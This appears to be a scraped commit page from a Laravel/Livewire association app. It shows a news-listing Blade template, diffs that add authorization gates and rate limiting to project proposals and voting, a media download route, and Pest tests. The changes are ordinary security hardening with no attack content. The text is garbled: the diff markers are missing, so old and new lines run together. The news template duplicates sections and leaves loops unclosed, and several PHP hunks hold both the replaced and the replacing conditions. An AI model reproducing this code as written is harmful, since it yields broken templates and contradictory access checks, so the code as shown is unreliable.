<h1 class="text-[28px] font-semibold text-text-primary">News</h1>
<!-- Left content -->
<div class="w-full md:w-60 mb-8 md:mb-0">
<div
class="md:sticky md:top-16 md:h-[calc(100dvh-64px)] md:overflow-x-hidden md:overflow-y-auto no-scrollbar">
<div class="md:py-8">
<!-- Category filter pills -->
<div class="flex flex-nowrap gap-2 overflow-x-auto no-scrollbar pb-1">
<button
wire:click="clearFilter"
class="shrink-0 rounded-full px-4 py-1.5 text-[13px] font-semibold transition-colors cursor-pointer {{ $selectedCategory === null ? 'bg-orange-primary text-white' : 'border border-border-default text-text-secondary hover:text-text-primary' }}"
>
Alle
</button>
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
<button
wire:key="cat_{{ $category['value'] }}"
wire:click="filterByCategory({{ $category['value'] }})"
class="shrink-0 rounded-full px-4 py-1.5 text-[13px] transition-colors cursor-pointer {{ $selectedCategory === $category['value'] ? 'bg-orange-primary text-white font-semibold' : 'border border-border-default text-text-secondary hover:text-text-primary font-normal' }}"
>
{{ $category['emoji'] }} {{ $category['label'] }}
</button>
@endforeach
</div>
<div class="flex justify-between items-center md:block">
<!-- Title -->
<header class="mb-6">
<h1 class="text-2xl md:text-3xl text-zinc-800 dark:text-zinc-100 font-bold">
News
</h1>
</header>
</div>
<!-- Links -->
<div
class="flex flex-nowrap overflow-x-scroll no-scrollbar md:block md:overflow-auto px-4 md:space-y-3 -mx-4">
<!-- Group 1 -->
<!-- News list -->
<div class="flex flex-col gap-4">
@forelse($this->filteredNews as $post)
<div wire:key="post_{{ $post->id }}" class="news-card bg-bg-surface rounded-xl p-5 border border-border-subtle flex flex-col gap-4">
<!-- Card header: avatar + meta -->
<div class="flex items-center gap-3">
<img
src="{{ $post->einundzwanzigPleb->profile?->picture ?? asset('einundzwanzig-alpha.jpg') }}"
alt="{{ $post->einundzwanzigPleb->profile?->name ?? 'Anonym' }}"
class="w-10 h-10 rounded-full bg-bg-elevated object-cover shrink-0"
/>
<div class="flex-1 min-w-0 flex flex-col gap-1">
<div class="flex items-center gap-2">
<span class="text-sm font-semibold text-text-primary">{{ $post->einundzwanzigPleb?->profile?->name ?? str($post->einundzwanzigPleb?->npub)->limit(32) }}</span>
<span class="text-xs text-text-tertiary">{{ $post->created_at->format('d.m.Y') }}</span>
</div>
<div>
<div
class="text-xs font-semibold text-zinc-400 dark:text-zinc-500 uppercase mb-3 md:sr-only">
Kategorien
</div>
<ul class="flex flex-nowrap md:block mr-3 md:mr-0">
<li class="mr-0.5 md:mr-0 md:mb-0.5" wire:key="category_all">
<button
type="button"
wire:click="clearFilter"
@class([
'inline-flex items-center px-2.5 py-1 rounded-md text-sm font-medium transition-colors cursor-pointer',
'bg-amber-500 text-white' => $selectedCategory === null,
'bg-zinc-100 dark:bg-zinc-700 text-zinc-600 dark:text-zinc-300 hover:bg-zinc-200 dark:hover:bg-zinc-600' => $selectedCategory !== null,
])
>
<i class="fa-sharp-duotone fa-solid fa-layer-group shrink-0 fill-current mr-2"></i>
<span>Alle</span>
</button>
</li>
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
<li class="mr-0.5 md:mr-0 md:mb-0.5"
wire:key="category_{{ $category['value'] }}">
<button
type="button"
wire:click="filterByCategory({{ $category['value'] }})"
@class([
'inline-flex items-center px-2.5 py-1 rounded-md text-sm font-medium transition-colors cursor-pointer',
'bg-amber-500 text-white' => $selectedCategory === $category['value'],
'bg-zinc-100 dark:bg-zinc-700 text-zinc-600 dark:text-zinc-300 hover:bg-zinc-200 dark:hover:bg-zinc-600' => $selectedCategory !== $category['value'],
])
>
<i class="fa-sharp-duotone fa-solid fa-{{ $category['icon'] }} shrink-0 fill-current mr-2"></i>
<span>{{ $category['label'] }}</span>
</button>
</li>
@endforeach
</ul>
<button
wire:click="filterByCategory({{ $post->category->value }})"
class="news-category-badge news-category-badge--{{ $post->category->color() }} inline-flex items-center rounded-full px-2.5 py-0.5 text-[11px] cursor-pointer"
>
{{ $post->category->emoji() }} {{ $post->category->label() }}
</button>
</div>
</div>
</div>
</div>
</div>
<!-- Middle content -->
<div class="flex-1 md:ml-8 xl:mx-4 2xl:mx-8">
<div class="md:py-8">
<div class="space-y-2">
@forelse($this->filteredNews as $post)
<flux:card wire:key="post_{{ $post->id }}">
<!-- Avatar -->
<div class="shrink-0 mt-1.5">
<img class="w-8 h-8 rounded-full"
src="{{ $post->einundzwanzigPleb->profile?->picture ?? asset('einundzwanzig-alpha.jpg') }}"
width="32" height="32"
alt="{{ $post->einundzwanzigPleb->profile?->name }}">
</div>
<!-- Content -->
<div class="grow">
<!-- Category Badge -->
<div class="mb-2">
<button
type="button"
wire:click="filterByCategory({{ $post->category->value }})"
class="inline-flex items-center px-2 py-0.5 rounded text-xs font-medium bg-zinc-100 dark:bg-zinc-700 text-zinc-600 dark:text-zinc-300 hover:bg-zinc-200 dark:hover:bg-zinc-600 transition-colors"
>
<i class="fa-sharp-duotone fa-solid fa-{{ $post->category->icon() }} mr-1"></i>
{{ $post->category->label() }}
</button>
</div>
<!-- Title -->
<h2 class="font-semibold text-zinc-800 dark:text-zinc-100 mb-2">
{{ $post->name }}
</h2>
<p class="mb-6">
{{ $post->description }}
</p>
<!-- Footer -->
<footer class="flex flex-wrap text-sm">
<div
class="flex items-center after:block after:content-['·'] last:after:content-[''] after:text-sm after:text-zinc-400 dark:after:text-zinc-600 after:px-2">
<div
class="font-medium text-amber-500 hover:text-amber-600 dark:hover:text-amber-400">
<div class="flex items-center">
<svg class="mr-2 fill-current" width="16"
height="16"
xmlns="http://www.w3.org/2000/svg">
<path
d="M15.686 5.708 10.291.313c-.4-.4-.999-.4-1.399 0s-.4 1 0 1.399l.6.6-6.794 3.696-1-1C1.299 4.61.7 4.61.3 5.009c-.4.4-.4 1 0 1.4l1.498 1.498 2.398 2.398L.6 14.001 2 15.4l3.696-3.697L9.692 15.7c.5.5 1.199.2 1.398 0 .4-.4.4-1 0-1.4l-.999-.998 3.697-6.695.6.6c.599.6 1.199.2 1.398 0 .3-.4.3-1.1-.1-1.499Zm-7.193 6.095L4.196 7.507l6.695-3.697 1.298 1.299-3.696 6.694Z"></path>
</svg>
{{ $post->einundzwanzigPleb->profile->name }}
</div>
</div>
</div>
<div
class="flex items-center after:block after:content-['·'] last:after:content-[''] after:text-sm after:text-zinc-400 dark:after:text-zinc-600 after:px-2">
<span
class="text-zinc-500">{{ $post->created_at->format('d.m.Y') }}</span>
</div>
</footer>
</div>
<div class="mt-2 flex justify-end w-full space-x-2">
<flux:button
xs
target="_blank"
:href="url()->temporarySignedRoute('media.signed', now()->addMinutes(30), ['media' => $post->getFirstMedia('pdf')])"
icon="cloud-arrow-down">
Öffnen
</flux:button>
@if($canEdit)
<flux:modal.trigger name="delete-news-{{ $post->id }}">
<flux:button
xs
variant="danger"
icon="trash"
wire:click="confirmDelete({{ $post->id }})">
Löschen
</flux:button>
</flux:modal.trigger>
<flux:modal name="delete-news-{{ $post->id }}" class="min-w-88">
<div class="space-y-6">
<div>
<flux:heading size="lg">News löschen?</flux:heading>
<flux:text class="mt-2">
Du bist dabei, diese News zu löschen.<br>
Diese Aktion kann nicht rückgängig gemacht werden.
</flux:text>
</div>
<div class="flex gap-2">
<flux:spacer />
<flux:modal.close>
<flux:button variant="ghost">Abbrechen</flux:button>
</flux:modal.close>
<flux:button wire:click="delete" variant="danger">Löschen</flux:button>
</div>
</div>
</flux:modal>
@endif
</div>
</flux:card>
@empty
<flux:card>
@if($selectedCategory !== null)
<p>Keine News in dieser Kategorie vorhanden.</p>
<flux:button wire:click="clearFilter" size="sm" class="mt-2">
Alle anzeigen
</flux:button>
@else
<p>Keine News vorhanden.</p>
@endif
</flux:card>
@endforelse
</div>
</div>
</div>
</div>
<!-- Right content -->
<div class="w-full mt-8 sm:mt-0 xl:w-72">
<div
class="lg:sticky lg:top-16 lg:h-[calc(100dvh-64px)] lg:overflow-x-hidden lg:overflow-y-auto no-scrollbar">
<div class="md:py-8">
<!-- Blocks -->
<div class="space-y-4">
@if($canEdit)
<flux:card>
<div
class="text-xs font-semibold text-zinc-400 dark:text-zinc-200 uppercase mb-4">
News anlegen
</div>
<div class="mt-4 flex flex-col space-y-2">
<flux:file-upload wire:model="file" label="PDF hochladen">
<flux:file-upload.dropzone heading="Drop file here or click to browse" text="PDF bis 10MB" />
</flux:file-upload>
@error('file')
<span class="text-red-500">{{ $message }}</span>
@enderror
<div class="mt-3 flex flex-col gap-2">
@if ($file)
<flux:file-item
:heading="$file->getClientOriginalName()"
:size="$file->getSize()"
>
<x-slot name="actions">
<flux:file-item.remove wire:click="removeFile" aria-label="{{ 'Remove file: ' . $file->getClientOriginalName() }}" />
</x-slot>
</flux:file-item>
@endif
</div>
<div>
<flux:field>
<flux:label>Kategorie</flux:label>
<flux:select
wire:model="form.category"
placeholder="Wähle Kategorie"
>
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
<flux:select.option
:label="$category['label']"
:value="$category['value']"
/>
@endforeach
</flux:select>
<flux:error name="form.category"/>
</flux:field>
</div>
<div>
<flux:field>
<flux:label>Titel</flux:label>
<flux:input wire:model="form.name" placeholder="News-Titel"/>
<flux:error name="form.name"/>
</flux:field>
</div>
<div>
<flux:field>
<flux:label>Beschreibung</flux:label>
<flux:description>optional</flux:description>
<flux:textarea wire:model="form.description" rows="4"
placeholder="Beschreibung..."/>
<flux:error name="form.description"/>
</flux:field>
</div>
<flux:button wire:click="save" class="w-full">
Hinzufügen
</flux:button>
</div>
</flux:card>
<!-- Card body -->
<div class="flex flex-col gap-2">
<h3 class="text-base font-semibold text-text-primary">{{ $post->name }}</h3>
@if($post->description)
<p class="text-[13px] leading-relaxed text-text-secondary">{{ $post->description }}</p>
@endif
</div>
<!-- Card footer -->
<div class="flex items-center">
@if($post->getFirstMedia('pdf'))
<a
href="{{ url()->temporarySignedRoute('media.signed', now()->addMinutes(30), ['media' => $post->getFirstMedia('pdf')]) }}"
target="_blank"
class="inline-flex items-center gap-2 rounded-lg border border-border-default px-4 py-2 text-[13px] font-medium text-text-secondary hover:text-text-primary transition-colors"
>
<svg class="w-3.5 h-3.5" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M15 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V7Z"/><path d="M14 2v4a2 2 0 0 0 2 2h4"/><path d="M10 13H6"/><path d="M14 13h-1"/></svg>
PDF öffnen
</a>
@endif
@if($canEdit)
<div class="ml-auto">
<flux:modal.trigger name="delete-news-{{ $post->id }}">
<button
wire:click="confirmDelete({{ $post->id }})"
class="inline-flex items-center gap-1.5 rounded-lg bg-red-500/20 px-4 py-2 text-[13px] font-medium text-red-500 hover:bg-red-500/30 transition-colors cursor-pointer"
>
<svg class="w-3.5 h-3.5" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 6h18"/><path d="M19 6v14c0 1-1 2-2 2H7c-1 0-2-1-2-2V6"/><path d="M8 6V4c0-1 1-2 2-2h4c1 0 2 1 2 2v2"/><line x1="10" x2="10" y1="11" y2="17"/><line x1="14" x2="14" y1="11" y2="17"/></svg>
Löschen
</button>
</flux:modal.trigger>
<flux:modal name="delete-news-{{ $post->id }}" class="min-w-88">
<div class="space-y-6">
<div>
<flux:heading size="lg">News löschen?</flux:heading>
<flux:text class="mt-2">
Du bist dabei, diese News zu löschen.<br>
Diese Aktion kann nicht rückgängig gemacht werden.
</flux:text>
</div>
<div class="flex gap-2">
<flux:spacer />
<flux:modal.close>
<flux:button variant="ghost">Abbrechen</flux:button>
</flux:modal.close>
<flux:button wire:click="delete" variant="danger">Löschen</flux:button>
</div>
</div>
</flux:modal>
</div>
@endif
</div>
</div>
@empty
<div class="bg-bg-surface rounded-xl p-5 border border-border-subtle">
<div class="py-6 text-center">
@if($selectedCategory !== null)
<flux:icon name="funnel" class="mx-auto mb-3 text-text-disabled" />
<h3 class="text-base font-semibold text-text-primary">Keine News in dieser Kategorie</h3>
<p class="mt-1 text-sm text-text-secondary">Versuche eine andere Kategorie oder zeige alle an.</p>
<button wire:click="clearFilter" class="mt-4 rounded-lg border border-border-default px-4 py-2 text-sm text-text-secondary hover:text-text-primary transition-colors cursor-pointer">
Alle anzeigen
</button>
@else
<flux:icon name="newspaper" class="mx-auto mb-3 text-text-disabled" />
<h3 class="text-base font-semibold text-text-primary">Noch keine News vorhanden</h3>
<p class="mt-1 text-sm text-text-secondary">Hier werden zukünftige Neuigkeiten angezeigt.</p>
@endif
</div>
</div>
@endforelse
</div>
</div>
<!-- Sidebar: create form (board members only) -->
@if($canEdit)
<div class="w-full lg:w-[360px] shrink-0">
<div class="lg:sticky lg:top-16 flex flex-col gap-6">
<div class="flex flex-col gap-6">
<h2 class="text-lg font-semibold text-text-primary">News anlegen</h2>
<!-- Upload section -->
<div class="flex flex-col gap-2">
<label class="text-sm font-medium text-text-primary">PDF hochladen</label>
<flux:file-upload wire:model="file">
<flux:file-upload.dropzone heading="Datei hier ablegen oder klicken" text="PDF bis 10MB" class="!border-orange-primary !border-2 !bg-orange-primary/10 !rounded-xl" />
</flux:file-upload>
<flux:error name="file" />
@if ($file)
<flux:file-item
:heading="$file->getClientOriginalName()"
:size="$file->getSize()"
>
<x-slot name="actions">
<flux:file-item.remove wire:click="removeFile" aria-label="{{ 'Remove file: ' . $file->getClientOriginalName() }}" />
</x-slot>
</flux:file-item>
@endif
</div>
<!-- Kategorie -->
<div class="flex flex-col gap-2">
<label class="text-sm font-medium text-text-primary">Kategorie</label>
<flux:select
wire:model="form.category"
placeholder="Wähle Kategorie"
>
@foreach(\App\Enums\NewsCategory::selectOptions() as $category)
<flux:select.option
:label="$category['label']"
:value="$category['value']"
/>
@endforeach
</flux:select>
<flux:error name="form.category" />
</div>
<!-- Titel -->
<div class="flex flex-col gap-2">
<label class="text-sm font-medium text-text-primary">Titel</label>
<flux:input wire:model="form.name" placeholder="News-Titel" />
<flux:error name="form.name" />
</div>
<!-- Beschreibung -->
<div class="flex flex-col gap-2">
<div class="flex items-center gap-2">
<label class="text-sm font-medium text-text-primary">Beschreibung</label>
<span class="text-xs text-text-tertiary">optional</span>
</div>
<flux:textarea wire:model="form.description" rows="4" placeholder="Beschreibung..." />
<flux:error name="form.description" />
</div>
<!-- Submit -->
<button
wire:click="save"
class="w-full rounded-lg bg-orange-primary py-3 px-6 text-sm font-semibold text-white hover:bg-orange-light transition-colors cursor-pointer"
>
Hinzufügen
</button>
<!-- User badge -->
@if(NostrAuth::check())
@php
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first();
@endphp
@if($currentPleb)
<div class="flex items-center gap-2.5 rounded-xl bg-bg-surface border border-border-subtle px-4 py-2.5">
<img
src="{{ $currentPleb->profile?->picture ?? asset('einundzwanzig-alpha.jpg') }}"
alt="{{ $currentPleb->profile?->name ?? 'Anonym' }}"
class="w-8 h-8 rounded-full bg-bg-elevated object-cover shrink-0"
/>
<span class="text-[13px] font-medium text-text-primary">{{ $currentPleb->profile?->name ?? str($currentPleb->npub)->limit(32) }}</span>
</div>
@endif
@endif
</div>
</div>
</div>
@endif
</div>
</div>
@else
<div class="">
<div class="max-w-2xl mx-auto">
<flux:callout variant="warning" icon="exclamation-circle">
<flux:heading>Zugriff auf News nicht möglich</flux:heading>
<p>Um die News einzusehen, benötigst du:</p>
<ul class="list-disc ml-5 mt-2 space-y-1">
<li>Einen Vereinsstatus von "Aktives Mitglied"</li>
<li>Eine bezahlte Mitgliedschaft für das aktuelle Jahr ({{ date('Y') }})</li>
</ul>
<p class="mt-3">
@if(!NostrAuth::check())
Bitte melde dich zunächst mit Nostr an.
@else
Bitte kontaktiere den Vorstand, wenn du denkst, dass du berechtigt sein solltest.
@endif
</p>
<flux:callout.heading>Zugriff auf News nicht möglich</flux:callout.heading>
<flux:callout.text>
<p>Um die News einzusehen, benötigst du:</p>
<ul class="list-disc ml-5 mt-2 space-y-1">
<li>Einen Vereinsstatus von "Aktives Mitglied"</li>
<li>Eine bezahlte Mitgliedschaft für das aktuelle Jahr ({{ date('Y') }})</li>
</ul>
<p class="mt-3">
@if(!NostrAuth::check())
Bitte melde dich zunächst mit Nostr an.
@else
Bitte kontaktiere den Vorstand, wenn du denkst, dass du berechtigt sein solltest.
@endif
</p>
</flux:callout.text>
</flux:callout>
</div>
@endif

View File

@@ -574,6 +574,12 @@ new class extends Component {
public function loadEvents(): void
{
$relayUrl = config('services.relay');
if (! $relayUrl) {
$this->events = [];
return;
}
$subscription = new Subscription;
$subscriptionId = $subscription->setId();
@@ -585,7 +591,7 @@ new class extends Component {
$requestMessage = new RequestMessage($subscriptionId, $filters);
$relays = [
new Relay(config('services.relay')),
new Relay($relayUrl),
];
$relaySet = new RelaySet;
$relaySet->setRelays($relays);
@@ -593,7 +599,7 @@ new class extends Component {
$request = new Request($relaySet, $requestMessage);
$response = $request->send();
$this->events = collect($response[config('services.relay')])
$this->events = collect($response[$relayUrl] ?? [])
->map(function ($event) {
if (!isset($event->event)) {
return false;

View File

@@ -2,6 +2,8 @@
use App\Models\ProjectProposal;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\RateLimiter;
use Livewire\Attributes\Layout;
use Livewire\Attributes\Locked;
use Livewire\Attributes\Title;
@@ -34,15 +36,15 @@ class extends Component
public function mount(): void
{
if (NostrAuth::check()) {
$currentPubkey = NostrAuth::pubkey();
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', $currentPubkey)->first();
$nostrUser = NostrAuth::user();
if ($currentPleb && $currentPleb->association_status->value > 1 && $currentPleb->paymentEvents()->where('year', date('Y'))->where('paid', true)->exists()) {
$this->isAllowed = true;
}
if ($nostrUser && Gate::forUser($nostrUser)->allows('create', ProjectProposal::class)) {
$this->isAllowed = true;
}
if ($currentPleb && in_array($currentPleb->npub, config('einundzwanzig.config.current_board'), true)) {
if ($nostrUser) {
$pleb = $nostrUser->getPleb();
if ($pleb && in_array($pleb->npub, config('einundzwanzig.config.current_board'), true)) {
$this->isAdmin = true;
}
}
@@ -58,6 +60,18 @@ class extends Component
public function save(): void
{
Gate::forUser(NostrAuth::user())->authorize('create', ProjectProposal::class);
$executed = RateLimiter::attempt(
'project-proposal-create:'.request()->ip(),
5,
function () {},
);
if (! $executed) {
abort(429, 'Too many requests.');
}
$this->validate([
'form.name' => 'required|string|max:255',
'form.description' => 'required|string',
@@ -66,15 +80,15 @@ class extends Component
'file' => 'nullable|file|mimes:jpeg,png,jpg,gif,webp|mimetypes:image/jpeg,image/png,image/gif,image/webp|max:10240',
]);
$projectProposal = ProjectProposal::query()->create([
'name' => $this->form['name'],
'description' => $this->form['description'],
'support_in_sats' => (int) $this->form['support_in_sats'],
'website' => $this->form['website'],
'accepted' => $this->form['accepted'],
'sats_paid' => $this->form['sats_paid'],
'einundzwanzig_pleb_id' => \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first()->id,
]);
$projectProposal = new ProjectProposal;
$projectProposal->name = $this->form['name'];
$projectProposal->description = $this->form['description'];
$projectProposal->support_in_sats = (int) $this->form['support_in_sats'];
$projectProposal->website = $this->form['website'];
$projectProposal->accepted = $this->isAdmin ? $this->form['accepted'] : false;
$projectProposal->sats_paid = $this->isAdmin ? $this->form['sats_paid'] : 0;
$projectProposal->einundzwanzig_pleb_id = \App\Models\EinundzwanzigPleb::query()->where('pubkey', NostrAuth::pubkey())->first()->id;
$projectProposal->save();
if ($this->file) {
$projectProposal->addMedia($this->file)->toMediaCollection('main');

View File

@@ -2,6 +2,8 @@
use App\Models\ProjectProposal;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\RateLimiter;
use Livewire\Attributes\Layout;
use Livewire\Attributes\Locked;
use Livewire\Attributes\Title;
@@ -39,36 +41,29 @@ class extends Component
{
$this->project = $projectProposal;
if (NostrAuth::check()) {
$currentPubkey = NostrAuth::pubkey();
$currentPleb = \App\Models\EinundzwanzigPleb::query()->where('pubkey', $currentPubkey)->first();
$nostrUser = NostrAuth::user();
if (
(
$currentPleb
&& $currentPleb->id === $this->project->einundzwanzig_pleb_id
)
|| in_array($currentPleb->npub, config('einundzwanzig.config.current_board'))
) {
$this->isAllowed = true;
$this->form = [
'name' => $this->project->name,
'description' => $this->project->description,
'support_in_sats' => (string) $this->project->support_in_sats,
'website' => $this->project->website ?? '',
'accepted' => (bool) $this->project->accepted,
'sats_paid' => $this->project->sats_paid,
];
}
if ($nostrUser && Gate::forUser($nostrUser)->allows('update', $this->project)) {
$this->isAllowed = true;
$this->form = [
'name' => $this->project->name,
'description' => $this->project->description,
'support_in_sats' => (string) $this->project->support_in_sats,
'website' => $this->project->website ?? '',
'accepted' => (bool) $this->project->accepted,
'sats_paid' => $this->project->sats_paid,
];
}
if ($currentPleb && in_array($currentPleb->npub, config('einundzwanzig.config.current_board'), true)) {
$this->isAdmin = true;
}
if ($nostrUser && Gate::forUser($nostrUser)->allows('accept', $this->project)) {
$this->isAdmin = true;
}
}
public function deleteMainImage(): void
{
Gate::forUser(NostrAuth::user())->authorize('update', $this->project);
if ($this->project->getFirstMedia('main')) {
$this->project->getFirstMedia('main')->delete();
}
@@ -84,6 +79,18 @@ class extends Component
public function update(): void
{
Gate::forUser(NostrAuth::user())->authorize('update', $this->project);
$executed = RateLimiter::attempt(
'project-proposal-update:'.request()->ip(),
5,
function () {},
);
if (! $executed) {
abort(429, 'Too many requests.');
}
$this->validate([
'form.name' => 'required|string|max:255',
'form.description' => 'required|string',
@@ -92,13 +99,16 @@ class extends Component
'file' => 'nullable|file|mimes:jpeg,png,jpg,gif,webp|mimetypes:image/jpeg,image/png,image/gif,image/webp|max:10240',
]);
$nostrUser = NostrAuth::user();
$canAccept = $nostrUser && Gate::forUser($nostrUser)->allows('accept', $this->project);
$this->project->update([
'name' => $this->form['name'],
'description' => $this->form['description'],
'support_in_sats' => (int) $this->form['support_in_sats'],
'website' => $this->form['website'],
'accepted' => $this->isAdmin ? (bool) $this->form['accepted'] : $this->project->accepted,
'sats_paid' => $this->isAdmin ? $this->form['sats_paid'] : $this->project->sats_paid,
'accepted' => $canAccept ? (bool) $this->form['accepted'] : $this->project->accepted,
'sats_paid' => $canAccept ? $this->form['sats_paid'] : $this->project->sats_paid,
]);
if ($this->file) {

View File

@@ -6,6 +6,7 @@ use App\Models\ProjectProposal;
use App\Support\NostrAuth;
use Flux\Flux;
use Illuminate\Database\Eloquent\Collection;
use Illuminate\Support\Facades\Gate;
use Livewire\Attributes\Locked;
use Livewire\Component;
@@ -31,8 +32,6 @@ new class extends Component {
public ?ProjectProposal $projectToDelete = null;
protected $listeners = [
'nostrLoggedIn' => 'handleNostrLoggedIn',
'nostrLoggedOut' => 'handleNostrLoggedOut',
'confirmDeleteProject' => 'confirmDeleteProject',
];
@@ -79,6 +78,8 @@ new class extends Component {
public function delete(): void
{
if ($this->projectToDelete) {
Gate::forUser(NostrAuth::user())->authorize('delete', $this->projectToDelete);
$this->projectToDelete->delete();
Flux::toast('Projektunterstützung gelöscht.');
$this->loadProjects();
@@ -112,7 +113,7 @@ new class extends Component {
</form>
<!-- Add meetup button -->
@if($currentPleb && $currentPleb->association_status->value > 1 && $currentPleb->paymentEvents()->where('year', date('Y'))->where('paid', true)->exists())
@if(Gate::forUser(NostrAuth::user())->allows('create', App\Models\ProjectProposal::class))
<flux:button :href="route('association.projectSupport.create')" icon="plus" variant="primary">
Projekt einreichen
</flux:button>

View File

@@ -4,6 +4,8 @@ use App\Livewire\Traits\WithNostrAuth;
use App\Models\ProjectProposal;
use App\Models\Vote;
use App\Support\NostrAuth;
use Illuminate\Support\Facades\Gate;
use Illuminate\Support\Facades\RateLimiter;
use Livewire\Attributes\Locked;
use Livewire\Component;
@@ -60,10 +62,24 @@ new class extends Component {
public function handleApprove(): void
{
if (! $this->currentPleb) {
$nostrUser = NostrAuth::user();
if (! $nostrUser || ! $nostrUser->getPleb()) {
return;
}
Gate::forUser($nostrUser)->authorize('create', [Vote::class, $this->projectProposal]);
$executed = RateLimiter::attempt(
'voting:'.request()->ip(),
10,
function () {},
);
if (! $executed) {
abort(429, 'Too many voting attempts.');
}
Vote::query()->updateOrCreate([
'project_proposal_id' => $this->projectProposal->id,
'einundzwanzig_pleb_id' => $this->currentPleb->id,
@@ -75,10 +91,24 @@ new class extends Component {
public function handleNotApprove(): void
{
if (! $this->currentPleb) {
$nostrUser = NostrAuth::user();
if (! $nostrUser || ! $nostrUser->getPleb()) {
return;
}
Gate::forUser($nostrUser)->authorize('create', [Vote::class, $this->projectProposal]);
$executed = RateLimiter::attempt(
'voting:'.request()->ip(),
10,
function () {},
);
if (! $executed) {
abort(429, 'Too many voting attempts.');
}
Vote::query()->updateOrCreate([
'project_proposal_id' => $this->projectProposal->id,
'einundzwanzig_pleb_id' => $this->currentPleb->id,
@@ -138,7 +168,7 @@ new class extends Component {
</div>
<figure class="mb-6">
<img class="rounded-sm h-48" src="{{ $projectProposal->getSignedMediaUrl('main') }}"
<img class="rounded-sm h-48" src="{{ $projectProposal->getSignedMediaUrl('main', 60, 'preview') }}"
alt="Picture">
</figure>

View File

@@ -19,8 +19,16 @@ Route::get('dl/{media}', function (Media $media, Request $request) {
->middleware('signed');
Route::get('media/{media}', function (Media $media, Request $request) {
$conversion = $request->query('conversion');
if ($conversion && $media->hasGeneratedConversion($conversion)) {
$path = $media->getPathRelativeToRoot($conversion);
} else {
$path = $media->getPathRelativeToRoot();
}
return Storage::disk($media->disk)->response(
$media->getPathRelativeToRoot(),
$path,
$media->file_name,
[
'Content-Type' => $media->mime_type,

View File

@@ -26,8 +26,7 @@ it('denies access to unauthorized users in election index', function () {
});
it('grants access to authorized users in election index', function () {
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$election = Election::factory()->create();
NostrAuth::login($pleb->pubkey);
@@ -55,34 +54,14 @@ it('denies access to unauthorized users in election admin', function () {
});
it('grants access to authorized users in election admin', function () {
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
$pleb = EinundzwanzigPleb::factory()->boardMember()->create();
$election = Election::factory()->create();
NostrAuth::login($pleb->pubkey);
Livewire::test('association.election.admin', ['election' => $election])
->call('handleNostrLoggedIn', $pleb->pubkey)
->assertSet('isAllowed', true);
});
it('can save election candidates', function () {
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
$election = Election::factory()->create([
'candidates' => json_encode([['type' => 'presidency', 'c' => []]]),
]);
NostrAuth::login($pleb->pubkey);
$newCandidates = json_encode([['type' => 'presidency', 'c' => ['test-pubkey']]]);
Livewire::test('association.election.admin', ['election' => $election])
->set('elections.0.candidates', $newCandidates)
->call('saveElection', 0);
expect($election->fresh()->candidates)->toBe($newCandidates);
});
// Election Show Tests
it('renders election show component', function () {
$election = Election::factory()->create();
@@ -115,9 +94,8 @@ it('can create vote event', function () {
$pleb = EinundzwanzigPleb::factory()->active()->create();
$candidatePubkey = 'test-candidate-pubkey';
NostrAuth::login($pleb->pubkey);
Livewire::test('association.election.show', ['election' => $election])
->call('handleNostrLoggedIn', $pleb->pubkey)
->call('vote', $candidatePubkey, 'presidency', false)
->assertSet('signThisEvent', function ($event) use ($candidatePubkey) {
return str_contains($event, $candidatePubkey);
@@ -135,11 +113,11 @@ it('checks election closure status', function () {
});
it('displays log for authorized users', function () {
$allowedPubkey = '0adf67475ccc5ca456fd3022e46f5d526eb0af6284bf85494c0dd7847f3e5033';
$pleb = EinundzwanzigPleb::factory()->create(['pubkey' => $allowedPubkey]);
$pleb = EinundzwanzigPleb::factory()->active()->create();
$election = Election::factory()->create();
Livewire::test('association.election.show', ['election' => $election])
->call('handleNostrLoggedIn', $allowedPubkey)
->assertSet('showLog', true);
->call('handleNostrLoggedIn', $pleb->pubkey)
->assertSet('isAllowed', true)
->assertSet('currentPubkey', $pleb->pubkey);
});

View File

@@ -11,6 +11,7 @@ use Livewire\Livewire;
beforeEach(function () {
Storage::fake('public');
Storage::fake('private');
});
it('denies access when pleb has insufficient association status', function () {
@@ -58,11 +59,13 @@ it('can create news entry with pdf', function () {
NostrAuth::login($pleb->pubkey);
$file = UploadedFile::fake()->create('document.pdf', 100);
$file = UploadedFile::fake()->create('document.pdf', 100, 'application/pdf');
// Write PDF magic bytes to the temp file so Spatie media library detects correct MIME
file_put_contents($file->getPathname(), '%PDF-1.4 fake pdf content for testing');
Livewire::test('association.news')
->set('file', $file)
->set('form.category', NewsCategory::ORGANISATION->value)
->set('form.category', (string) NewsCategory::Organisation->value)
->set('form.name', 'Test News')
->set('form.description', 'Test Description')
->call('save')
@@ -90,7 +93,8 @@ it('can delete news entry', function () {
NostrAuth::login($pleb->pubkey);
Livewire::test('association.news')
->call('delete', $news->id)
->call('confirmDelete', $news->id)
->call('delete')
->assertHasNoErrors();
expect(Notification::find($news->id))->toBeNull();
@@ -108,3 +112,103 @@ it('displays news list', function () {
->assertSee($news1->name)
->assertSee($news2->name);
});
it('shows warning callout when access is denied', function () {
